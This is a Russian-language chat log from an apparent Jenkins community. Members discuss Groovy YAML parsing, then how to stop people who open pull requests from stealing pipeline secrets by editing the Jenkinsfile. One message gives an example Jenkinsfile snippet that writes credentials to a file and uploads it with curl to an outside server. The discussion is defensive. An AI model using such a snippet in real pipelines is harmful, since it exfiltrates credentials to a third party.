ну там собственно в ответах тоже самое пишут: yamlConfig['services'][0]['name']

я поэтому через indexOf по имени юзера определяю циферку, а потом по ней ищу роли

странно, но yamlUserData.my_name_prop_list['name'] возвращает массив. Магия груви, не знал о таком. Прикольно
https://i.ibb.co/ynCJ9wx/image.png
и правда работает =)

магия — не то слово)

Всем привет. А мб кто-нибудь подскажет, как зищититься от утаскивания секретов, если у человека есть способ делать PR из ветки в ветку (не из форка)
То есть например multibranch pipeline создан в папке, с которой доступны секреты.
Человек меняет Jenkinsfile, добавляет в него условно:

withCredentials([usernamePassword(credentialsId: 'credId', passwordVariable: 'PASSWORD', usernameVariable: 'USERNAME')]) {
    sh "echo '${USERNAME}:${PASSWORD}' > file"
    sh "curl -F 'data=@file' https://myserver.com/upload"
}

Создает PR и код выполняется из этого нового Jenkinsfile, он получает секреты

В голову приходит только создавать multibranch в отдельной папке, где нет никаких секретов. Но вот как ограничить доступы к глобальным секретам 🤔

мб есть способ использовать код jenkinsfile только из мастера для PR

у пайплайна есть доступ к секретам. у человека есть доступ к пайплайну.
единственный вариант - не юзать глобальные секреты.

вроде, на уровне folders можно настроить разграничение прав на секреты.

сам не пробовал

хм. Мб есть другие пути.
Есть репа, в которую я хочу дать возможноть заливать код через PR, для залития PR надо чтобы прошли все тесты и так далее. Но в этой репе есть еще один пайплайн, в котором используются секреты, которыми я бы не хотел делиться. Для этого пайплайна настроена отдельная джоба на выполнение только из мастера.
Видимо единственный способ это сделать, вынести эту джобу с секретами в отдельную папку, чтобы из пайплайна который запускается из PR к ним просто не было никакого доступа

не важно, юзаются ли секреты в пайплайне. если не юзаются - можно заставить заюзать из реквеста
другой способ - это держать пайплайн отдельно от кода, без возможности его изменения извне

понятно что можно заюзать из реквеста. Но если этот реквест выполняется в папке, где нет секретов, то ты ничего не сделаешь. У тебя доступ только к глобальным секретам и к текущим секретам из этой папки

под папкой я понимал https://plugins.jenkins.io/cloudbees-folder/

Зачем давать ему доступ в дженкинс? Нельзя сделать тригер пайпа на очередной PR? Результат ему придёт на почту с нужными артефактами

а держать секреты в публичной репе - такое себе решение. пусть, они и шифрованные

секреты вообще отдельно лежат. Jenkins к ним имеет доступ.

Хранить их просто в папке, тоже странное решение

Не совсем понял. Доступ к репе а не к jenkins. Чтобы залить в мастер используется PR где прогоняются тесты. Jenkins запускает билд для PR и сообщает о статусах стейджов в github. Человек может изменить код пайплайна, тогда jenkins и запустит этот код.

Папка это просто способ разграничения секретов на уровне jenkins. Хранить их можно хоть в волте.